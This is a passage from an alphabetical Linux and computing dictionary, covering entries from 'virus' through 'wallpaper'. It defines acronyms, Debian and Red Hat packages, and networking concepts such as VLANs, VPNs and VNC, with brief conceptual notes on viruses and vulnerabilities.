cannot contain viruses −− except when they also include scripting "macros". Currently the most popular kind of virus. Most macro viruses are written in VisualBasic, a programming language included as part of Microsoft Office products (Word, Excel). E.g. Marker Virus file infector The traditional definition of a virus: an executable file contains a virus imbedded within. When run, it attaches the virus to other executables on the system. multi−part Uses more than one of the techniques above. toolkits Increasingly, viruses are created via toolkits designed for the purpose of creating viruses that evade anti−virus programs. polymorphic This type of virus automatically changes its form in order to evade anti−virus programs. A common technique is to XOR its code with changing patterns. Culture: Viruses are rarely written by a single human being. Instead, they are often written by groups. Each virus is usually built upon work done by other virus writers. This means that a virus is usually related to other viruses. Computer viruses mutate and exchange genetic material much like biological systems. What we classify as the "author" of a virus is usually somebody who made one small mutation that made a virus especially virulent. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

virus

n. [from the obvious analogy with biological viruses, via SF] A cracker program that searches out other programs and `infects' them by embedding a copy of itself in them, so that they become Trojan horses. When these programs are executed, the embedded virus is executed too, thus propagating the `infection'. This normally happens invisibly to the user. Unlike a worm, a virus cannot infect other computers without assistance. It is propagated by vectors such as humans trading programs with their friends (see SEX). The virus may do nothing but propagate itself and then allow the program to run normally. Usually, however, after propagating silently for a while, it starts doing things like writing cute messages on the terminal or playing strange tricks with the display (some viruses include nice display hacks). Many nasty viruses, written by particularly perversely minded crackers, do irreversible damage, like nuking all the user's files. In the 1990s, viruses became a serious problem, especially among Windows users; the lack of security on these machines enables viruses to spread easily, even infecting the operating system (Unix machines, by contrast, are immune to such attacks). The production of special anti−virus software has become an industry, and a number of exaggerated media reports have caused outbreaks of near hysteria among users; many lusers tend to blame everything that doesn't work as they had expected on virus attacks. Accordingly, this sense of `virus' has passed not only into techspeak but into also popular usage (where it is often incorrectly used to denote a worm or even a Trojan horse). See phage; compare back door; see also Unix conspiracy. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VIS

vixie−cron

The vixie−cron package contains the Vixie version of cron. Cron is a standard UNIX daemon that runs specified programs at scheduled times. Vixie cron adds better security and more powerful configuration options to the standard version of cron. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VK

VideoKonferenz From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vkeybd

Virtual Keyboard program This program allows you to use the Linux AWE32 driver, OSS MIDI sequencer, or ALSA MIDI sequencer and provides "virtual" keyboard (the musical type), which can be "played" using the keyboard or mouse under X11. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VLA

Volume Licence Agreement (Novell) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vlad

LDAP visualisation tool Vlad is an LDAP visualisation tool. It can be used to browse the entries and attributes of an LDAP tree. Basic functionality is in place. You can browse an LDAP tree and view individual entries. Future enhancements will include searches, ability to edit entries, ability to bind as different users, ability to export parts of the tree as an LDIF file. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vlan

User mode programs to enable VLANs on your ethernet devices This package contains the user mode programs you need to add and remove VLAN devices from your ethernet devices. A typical application for a VLAN enabled box is a single wire firewall, router or load balancer. You need a VLAN kernel for this. Kernel versions < 2.4.14 need to be patched. Currently the VLAN patch is only supported for 2.4 kernels. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VLAN

Virtual Local Area Network (LAN, IEEE 802.1q) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VLAN (Virtual Local Area Network, IEEE 802.1q)

A VLAN allows multiple virtual LANs to coexist on the same physical LAN (switched). This means that two machines attached to the same switch cannot send Ethernet frames to each other even though they pass over the same wires. If they need to communicate, then a router must be placed between the two VLANs to forward packets, just as if the two LANs were physically isolated. The only difference is that the router in question may contain only a single Ethernet NIC that is part of both VLANs (a one−armed router). The frames are "tagged" with an 802.1q prefix as they enter the network, which the Ethernet switches will use to separate traffic. Key point: Sometimes people want to put a firewall between VLANs, putting their DMZ on one VLAN on the rest of their company on another. This is an extraordinarily bad thing to do. VLANs are designed primarily to segment broadcast domains and improve performance and manageability. They are not hardened against security breaches. For example, Bay switches will forward packets incorrectly if the MAC address is known by the hacker. Cisco ATM switches have been known to leak frames onto incorrect VLANs when overloaded. Key point: Most cable−modem and DSL connectivity is provided via VLANs over an ATM infrastructure. All the security concerns expressed above for VLANs applies to these technologies as well. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VLB

VESA Local Bus (VESA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vlc

a free MPEG and DVD player VideoLAN is a free MPEG, MPEG2 and DVD software solution. This is vlc, the VideoLAN Client. It plays MPEG and MPEG2 files, unencrypted DVDs, or MPEG streams

from a network source. From Debian 3.0r0 APT

VLR

Visitor Location Register (LR, GSM, GPRS, mobile−systems) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VLSI

Very Large Scale Integration From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VLSM

Variable Length Subnet Mask (Internet) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vm

A mail user agent for Emacs VM (View Mail) is an Emacs subsystem that allows UNIX mail to be read and disposed of within Emacs. Commands exist to do the normal things expected of a mail user agent, such as generating replies, saving messages to folders, deleting messages and so on. There are other more advanced commands that do tasks like bursting and creating digests, message forwarding, and organizing message presentation according to various criteria. With smtpmail in modern emacsen, you do not need a MTA locally in order to use VM. VM 6.x versions have problems with the library tm−vm from the Tiny Mime (TM) package, since that version was written for VM 5.X. Indeed, the problems seems to exist with semi as well. This package comes (by default) bundled in with XEmacs. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VM

Virtual Machine (IBM, OS, IBM 370, ESA, IBM 390) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VM

VMM

Virtual Machine / Memory Manager (IBM, VM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vmnet

A simple virtual networking program This program has been written to implement virtual networking support for the Hercules S/390 simulator, but it is intentionally generic in its functionality, so any other virtual machine simulator/emulator program could potentially use it. The function is quite simple: − The virtual machine simulator program starts VMnet and talks the SLIP protocol with it over stdin/out. − VMnet sets up a SLIP connection on the host system, talking over a pseudo−tty to the VMnet program. − Once things have been set up, VMnet simply copies the data streams between stdin/out and the SLIP psuedo−tty in both directions. Thus, the virtual machine has a direct SLIP connection with the host, without needing to worry about root privileges, pseudo−ttys, access rights, etc. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VMP

Virtual MultiPorting (POWER, CPU) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VMS

/V−M−S/ n. DEC's proprietary operating system for its VAX minicomputer; one of the seven or so environments that loom largest in hacker folklore. Many Unix fans generously concede that VMS would probably be the hacker's favorite commercial OS if Unix didn't exist; though true, this makes VMS fans furious. One major hacker gripe with VMS concerns its slowness −− thus the following limerick: There once was a system called VMS Of cycles by no means abstemious. It's chock−full of hacks And runs on a VAX And makes my poor stomach all squeamious. −−− The Great Quux See also VAX, TOPS−10, TOPS−20, Unix, runic. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Virtual Network Computer From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VNC

Virtual Network Computing (AT&T, Linux) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vnc

Virtual Network Computing (VNC) is a remote display system which allows you to view a computing 'desktop' environment not only on the machine where it is running, but from anywhere on the Internet and from a wide variety of machine architectures. This package contains a client which will allow you to connect to other desktops running a VNCserver. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VNCA

VTAM Node Control Application (IBM, VTAM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vncserver

Virtual network computing server software. VNC stands for Virtual Network Computing. It is, in essence, a remote display system which allows you to view a computing `desktop' environment not only on the machine where it is running, but from anywhere on the Internet and from a wide variety of machine architectures. It is implemented in a client/server model. This package provides a fully functional X server, to which a VNC viewer can connect. Note: This server does not support or need a display. You need a vncviewer to see something. However, this viewer may also be on a computer running other operating systems in the local net. This package is an enhanced version of VNC including TightVNC allowing it to be optimized to work over slow network connections such as low−speed modem links so you can work remotely almost in real time in most environments. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VoIP
: VoIP stands for 'V'oice 'o'ver 'I'nternet 'P'rotocol. As the term says VoIP tries to let go voice (mainly human) through IP packets and, in definitive through Internet. VoIP can use accelerating hardware to achieve this purpose and can also be used in a PC environment. Many years ago we discovered that sending a signal to a remote destination could have be done also in a digital fashion: before sending it we have to digitalize it with an ADC (analog to digital converter), transmit it, and at the end transform it again in analog format with DAC (digital to analog converter) to use it. VoIP works like that, digitalizing voice in data packets, sending them and reconverting them in voice at destination. Digital format can be better controlled: we can compress it, route it, convert it to a new better format, and so on; also we saw that digital signal is more noise tolerant than the analog one (see GSM vs TACS). TCP/IP networks are made of IP packets containing a header (to control communication) and a payload to transport data: VoIP use it to go across the network and come to destination. Voice (source) − − ADC − − − − Internet − − − DAC − − Voice (dest) What is the advantages using VoIP rather PSTN? When you are using PSTN line, you typically pay for time used to a PSTN line manager company: more time you stay at phone and more you'll pay. In addition you couldn't talk with other that one person at a time. In opposite with VoIP mechanism you can talk all the time with every person you want (the needed is that other person is also connected to Internet at the same time), as far as you want (money independent) and, in addition, you can talk with many people at the same time. If you're still not persuaded you can consider that, at the same time, you can exchange data with people are you talking with, sending images, graphs and videos. Then, why everybody doesn't use it

yet? Unfortunately we have to report some problem with the integration between VoIP architecture and Internet. As you can easy imagine, voice data communication must be a real time stream (you couldn't speak, wait for many seconds, then hear other side answering): this is in contrast with the Internet heterogeneous architecture that can be made of many routers (machines that route packets), about 20−30 or more and can have a very high round trip time (RTT), so we need to modify something to get it properly working.From VoIP HOWTO

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VPN

Virtual Private Network From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VPN (Virtual Private Network)

A VPN allows the user to remotely connect to a company, via the Internet, with a secure connection that makes it appear ("virtually") as if the machine is on the corporate LAN. VPNs are used for employee−company and company−company connections. Key point: One way that an employee can connect to a company is to put a modem in the machine and dial directly to modems inside the corporation. This is expensive due to long distance charges. But think for a moment that the employee can purchase two modems to put in the machine, and while dialed up to the corporation, the employee also dials up the Internet. This would mean that the employee has two active network connections: one to the corporation, one to the Internet. A VPN is the same thing, only the corporate connection and modem are "virtual". Key point: Vendors claim that when the VPN is active, that the previous Internet access is disabled and all further communication goes through the corporation. Therefore, if the user wants to browse the web while the VPN is active, the user must browse through firewalls/proxies inside the corporation then back out to the web. However, this is just a bit of sleight−of−hand: while it appears to the user that normal Internet communication has been disabled, in reality it has only been "hidden": a hacker can still compromise the machine from the Internet. Key point: VPN puts the connection on the company's internal network, inside the firewall. Therefore, if a hacker compromises someone's machine who uses VPN, then the hacker has easy access to the inside of a hardened corporate environment. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VPN (Virtual Private Network)
Usually refers to a network in which some of the parts are connected using the public Internet, but the data sent across the Internet is encrypted, so the entire network is "virtually" private. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vpnd
Virtual Private Network Daemon Vpnd is a daemon which connects two networks on network level either via TCP/IP or a (virtual) leased line attached to a serial interface. All data transfered between the two networks are encrypted using the unpatented free Blowfish encryption algorithm (see http://www.counterpane.com/) with a key length of up to 576 bits (may be downgraded to a minimum of 0 bits to suit any legal restrictions). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VPP

VRD

Virtual Retinal Display (VR) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vreng

Virtual Reality Engine vreng is a virtual 3D world based on the IP multicast protocol From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vrflash

tool to flash kernels and romdisks to Agenda VR The Agenda VR is a handheld computer that runs Linux. VRFlash communicates with the Agenda's boot monitor (PMON) over a serial line to install new software on the device. The kernel and the root image can be upgraded this way. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vrfy

Verify electronic mail addresses. 'vrfy' is a tool to verify e−mail addresses and mailing lists. In its simplest form it takes an address "user@domain", figures out the MX hosts for "domain", and issues the SMTP command VRFY at the primary MX host (optionally all), or at "domain" itself if no MX hosts exist. Without "domain" it goes to "localhost". More complex capabilities are: * recursively expanding forward files or mailing lists, * detecting mail forwarding loops, * understanding full−blown RFC822 address specifications, * syntax checking that can be carried out either locally or remotely, * various options provided to exploit alternative protocol suites if necessary, and to print many forms of verbose output. Obvious limitations exist (mostly due to a lousy VRFY command implementation on some hosts), but otherwise, it works pretty well. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VRG

Vertical Replacement Gate (IC, MOSFET) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VRI

[Nederlandse] Vereniging van Registerinformatic (org. Netherlands) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VRM

Virtual Resource Manager From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VRM

Voltage Regulation Module (IC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VRML

Virtual Reality Modeling Language (VR, ISO/IEC 14772, W3C) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VRML (Virtual Reality Modeling Language)

A primarily Web−based language used for 3D effects (such as building walk−throughs). From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vrms

Virtual Richard M. Stallman The vrms program will analyze the set of currently−installed packages on a Debian GNU/Linux system, and report all of the packages from the non−free tree which are currently installed. Future versions of vrms will include an option to also display text from the public writings of RMS and others that explain why use of each of the installed non−free packages might cause moral issues for some in the Free Software community. This functionality is not yet included. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VROOMM

Virtual Realtime Object Oriented Memory Manager (OOP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vrrpd

Virtual Router Redudancy Protocol user−space implementation This package provides an implementation of VRRPv2 as specified in rfc2338. It runs in the Linux kernel's userspace (as root). VRRP can be used to setup high−availability services in Debian since two machines can use the same (virtual) IP address which is transfered upon failover. Some kernel features need to be enabled (please read the FAQ) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VRS

Voice Response System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VRTX

Versatile Real Time eXecutive (OS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vrweb

A VRML browser and editor. VRweb is a VRML 1 browser that you can use to browse a Virtual Reality World (WRL). Currently the upstream team no longer supports VRweb as it has developed a replacement Java version named VRwave, also available from Debian. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VS

VINES Security (Banyan, VINES) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VST

Virtual Studio Technology (Steinberg, audio) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vstream

bttv video capture utility aimed at making MPEGs A (fairly) fast video+audio capture utility targeted towards making MPEG movies. Includes capture to multiple streams (to make use of maximum possible IO bandwidth) and unlimited maximum stream length. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VSU

Video Service Unit From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VT

Virtual Terminal (DEC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vt−is−UTF8

check whether current VT is in UTF8− or byte−mode. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VT100

A standard terminal type supported by many computer systems. Telnet programs emulate this type of terminal in order to connect to many Internet sites. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VT100

Virtual Terminal 100 (DEC), "VT−100" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VTAM

Virtual Telecommunications Access Method (IBM, SNA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VTAME

Virtual Telecommunications Access Method Entry (VTAM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VTD

Virtual Tape Device From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vte

VTE is an experimental terminal emulator widget for use with GTK+ 2.0. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vtgrab

A VNC like console monitoring This is a utility for monitoring the screen of another machine. It only works for text consoles: for X, the idea is to use VNC instead. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VTI

Virtual Terminal Interface From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vtk−tcl

Tcl bindings for VTK. This provides the shared libraries and executable that enable one to use VTK from Tcl/Tk scripts. You will need Tcl/Tk and vtk installed to use this. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vtkdata−installer

Installer for example data for VTK The Visualization Toolkit comes with example C++, Tcl and Python code. These examples reference data files installed using the get−vtkdata script in this package. The get−vtkdata script transfers about 30 Megabytes over the Internet, and unpacks it into around 115 Megabytes in /usr/share/vtkdemo/vtkdata. Plan your network and disk use accordingly. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VTM

Verband der Telekommunikationsnetz− und Mehrwertdiensteanbieter (org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VTOC
: Volume Table of Contents From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VTOS
: Virtual Technology Operating System (OS, Tandy, TRS−80) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VTP
: Virtual Terminal Protocol From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vtprint
: Prints to term emulator via ANSI codes This program allows users to print from a remote UNIX host to a printer attached to their local terminal or emulator, which makes it great for printing files at home, etc. (It only does text files, though.) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VTS
: Video Teleconferencing System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VTS
: Virtual Terminal Service (OSI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vtun
: Virtual Tunnel over TCP/IP Networks VTun is the easiest way to create Virtual Tunnels over TCP/IP networks with traffic shaping, compression, and encryption. It supports IP, PPP, SLIP, Ethernet and other tunnel types. VTun is easily and highly configurable, it can be used for various network tasks. VTun requires the Universal TUN/TAP kernel module which can be found at http://vtun.sourceforge.net/tun/index.html or in the 2.4 series linux kernel. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vtwm
: virtual Tab window manager vtwm is an extension to twm that provides multiple virtual screens, pixmap file format support, and other enhancements in addition to the features of twm. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VU
: Virtual User From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VUE
: Visual User Environment (HP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VUI
: Virtual User Interface (AMS, UI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vulnerability (vulnerable)
: In the security community, the word "vulnerability" describes a problem (such as a programming bug or common misconfiguration) that allows a system to be attacked or broken into. Culture: Finding vulnerabilities is a big part of the hacker/infosec culture. Finding vulnerabilities is way of proving that you are "elite". This subculture is similar to the scientific community. For example, there are a number of people (usually commercial companies) that are "research whores": they take existing research and add their own small contribution, but then publish the result in such a way that leads people to believe that they are responsible for all the research leading up to that discovery. Contrast: The words exploit and vulnerability are tightly bound together. Often, an script/program will exploit a specific vulnerability. Since most vulnerabilities are exploited by script kiddies, the vulnerability is often known by the name of the most popular script that exploits it. Key point: There exist broad−spectrum vulnerability scanners/assessment−tools that will scan a system looking for common vulnerabilities. These are often used in order to harden a system. See also: risk From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VUMA

VESA Unified Memory Architecture (VESA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VUMASBE

VESA Unified Memory Architecture − System BIOS Extension (VESA), "VUMA−SBE" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VUP

VAX Units of Performance (VAX, DEC), "VUPs" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VVIDD

VESA Video Interface for Digital Displays (VESA, LCD) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

W

w
: Show who is logged on and what they are doing. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

w−bassman
: an alternative "w" command This is a version of the "w" command that might be familiar to old Slackware users. It formats the output differently, in a way some consider clearer and easier to read. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

w.procps
: Show who is logged on and what they are doing. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

W2K
: Windows 2000 (Windows, MS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

w3−el−e20
: Web browser for GNU Emacs 20 A full−featured web browser, written entirely in Emacs−Lisp, that supports all the bells and whistles in use on the web today: frames, tables, stylesheets, and much more. Supports asynchronous connections, allowing users to browse numerous sites concurrently, while others continue to download. Tight integration with the standard Emacs mail and news reading packages allows easy sharing of information. Since Emacs is first and foremost the most powerful editor around, the information you uncover on the web can immediately be put to work. Yet another reason to never leave Emacs. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

w3−el−e21
: Web browser for GNU Emacs 21 A full−featured web browser, written entirely in Emacs−Lisp, that supports all the bells and whistles in use on the web today: frames, tables, stylesheets, and much more. Supports asynchronous connections, allowing users to browse numerous sites concurrently, while others continue to download. Tight integration with the standard Emacs mail and news reading packages allows easy sharing of information. Since Emacs is first and foremost the most powerful editor around, the information you uncover on the web can immediately be put to work. Yet another reason to never leave Emacs. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

W3C
: Acronym for the World Wide Web Consortium, an independent peak body founded in 1994 to develop common protocols and standards for the evolution of the World Wide Web. It is jointly hosted by the Massachusetts Institute of Technology Laboratory for Computer Science in the USA, the Institut National de Recherche en Informatique et en Automatique [INRIA] in Europe, and the Keio University Shonan Fujisawa Campus in Asia. The Consortium is led by Tim Berners−Lee, the primary inventor of the World Wide Web. More information can be found at: http://www.W3C.org/ From Faculty−of−Education http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

W3C
: World Wide Web Consortium (WWW, org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

w3cam
: a simple CGI to retrieve images from video4linux device. w3cam is a simple CGI to retrieve images from video4linux device. In other words this program will only run on Linux machines which support a video4linux−device. w3cam supports a plain mode and a gui mode. In the gui mode a html with a form is supplied to change some parameters with the mouse .. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

w3m

WWW browsable pager with excellent tables/frames support w3m is a text−based World Wide Web browser with IPv6 support. It features excellent support for tables and frames. It can be used as a standalone file pager, too. * You can follow links and/or view images in HTML. * Internet message preview mode, you can browse HTML mail. * You can follow links in plain text if it includes URL forms. * With w3m−img, you can view image inline. For more information, see http://sourceforge.net/projects/w3m From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

w3m−el

a simple Emacs interface of w3m This package contains a interface program of w3m, which is a pager with WWW capability. It can be used as lightweight WWW browser on emacsen. This is also known as emacs−w3m. http://emacs−w3m.namazu.org/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

w3m−img

inline image extension support utilities for w3m w3m−img provides some utilities to support inline images for w3m on terminal emulator in X Window System environments. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

w3m−ssl

WWW browsable pager with SSL support w3m is a text−based World Wide Web browser with IPv6 support. It features excellent support for tables and frames. It can be used as a standalone file pager, too. * You can follow links and/or view images in HTML. * Internet message preview mode, you can browse HTML mail. * You can follow links in plain text if it includes URL forms. * With w3m−img, you can view image inline. This package is built with SSL support. For more information, see http://sourceforge.net/projects/w3m From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

w3mir

w3mir is an all purpose HTTP copying and mirroring tool. w3mir can create and maintain a browsable copy of one, or several WWW sites. It can preserve link integrety within the mirrored documents as well as the integrey of links outside the mirror. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

w3mmee

WWW browsable pager with excellent tables/frames, MB extension w3mmee is w3m with multibyte encoding extension. For more information, see http://w3m.sourceforge.net/ and http://pub.ks−and−ks.ne.jp/prog/w3mmee/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

w3mmee−img

inline image extension support utilities for w3mmee w3mmee−img provides some utilities to support inline images for w3mmee on terminal emulator in X Window System environments. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

w3mmee−ssl

WWW browsable pager with SSL support, MB extension w3mmee is w3m with multibyte encoding extension. This package is built with SSL support. For more information, see http://w3m.sourceforge.net/ and http://pub.ks−and−ks.ne.jp/prog/w3mmee/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

w9wm

Enhanced window manager based on 9wm w9wm is a quick and dirty hack based on 9wm. It provides support for virtual screens as well as for keyboard bindings. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

waba

light weight virtual machine similar to Java Waba is a small, efficient and reliable Java Virtual Machine (VM) aimed at portable devices (but also runnable on desktop computers), wribtten by Rick

Wild of Wabasoft. The Waba VM is an open source project. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WABI
: Windows Application Binary Interface (MS, Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAI
: Web Accessibility Initiative (WWW, W3C, WAI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAI
: Web Application Interface (WWW, Netscape) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAIS
: Wide Area Information Servers − A commercial software package that allows the indexing of huge quantities of information, and then making those indices searchable across networks such as the Internet . A prominent feature of WAIS is that the search results are ranked ("scored") according to how relevant the "hits" are, and that subsequent searches can find "more stuff like that last batch" and thus refine the search process. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAIS
: Wide Area Information Service (Internet) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAIS (Wide Area Information Server). From Faculty−of−Education
: http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAIS (Wide Area Information Servers)
: A commercial software package that allows the indexing of huge quantities of information, and then making those indices searchable across networks such as the Internet. A prominent feature of WAIS is that the search results are ranked (scored) accordingto how relevant the hits are, and that subsequent searches can find more stuff like that last batch and thus refine the search process. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAIS (Wide Area Information Servers)
: These servers allow users to conduct full−text keyword searches in documents, databases, and libraries connected to the Internet. From Glossary of Distance Education and Internet Terminology http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wait state
: A microprocessor clock cycle in which nothing at all occurs. A wait state is programmed into a computer system to allow other components, such as random−access memory (RAM), to catch up with the central processing unit (CPU). The number of wait states depends on the speed of the processor in relation to the speed of memory. Wait states can be eliminated−resulting in a zero wait states machine by using fast (but expensive) cache memory, interfaced memory, page−mode , or static chips. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAITS
: Westcoast Alternative to ITS From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wajig
: Simplified Debian package management front end Wajig is a single commandline wrapper around apt, apt−cache, dpkg, /etc/init.d scripts and more, intended to be easy to use and providing extensive documentation for all of its functions. With a suitable sudo(1) configuration, most if not all package installation (as well as creation) tasks can be done from a user shell. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wall
: write a message to users From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wall time

n. (also `wall clock time') 1. `Real world' time (what the clock on the wall shows), as opposed to the system clock's idea of time. 2. The real running time of a program, as opposed to the number of ticks required to execute it (on a timesharing system these always differ, as no one program gets all the ticks, and on multiprocessor systems with good thread support one may get more processor time than real time). From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wall wart

n. A small power−supply brick with integral male plug, designed to plug directly into a wall outlet; called a `wart' because when installed on a power strip it tends to block up at least one more socket than it uses.. These are frequently associated with modems and other small electronic devices which would become unacceptably bulky or hot if they had power supplies on board (there are other reasons as well having to do with the cost of UL certification). From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wallp

GTK+ and Imlib based app for periodically updating root of X WallP uses Imlib for its image rendering, so any image format readable by Imlib will work with WallP. The user controls the period between changes, in minutes. GTK+ is used as the toolkit. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wallpaper

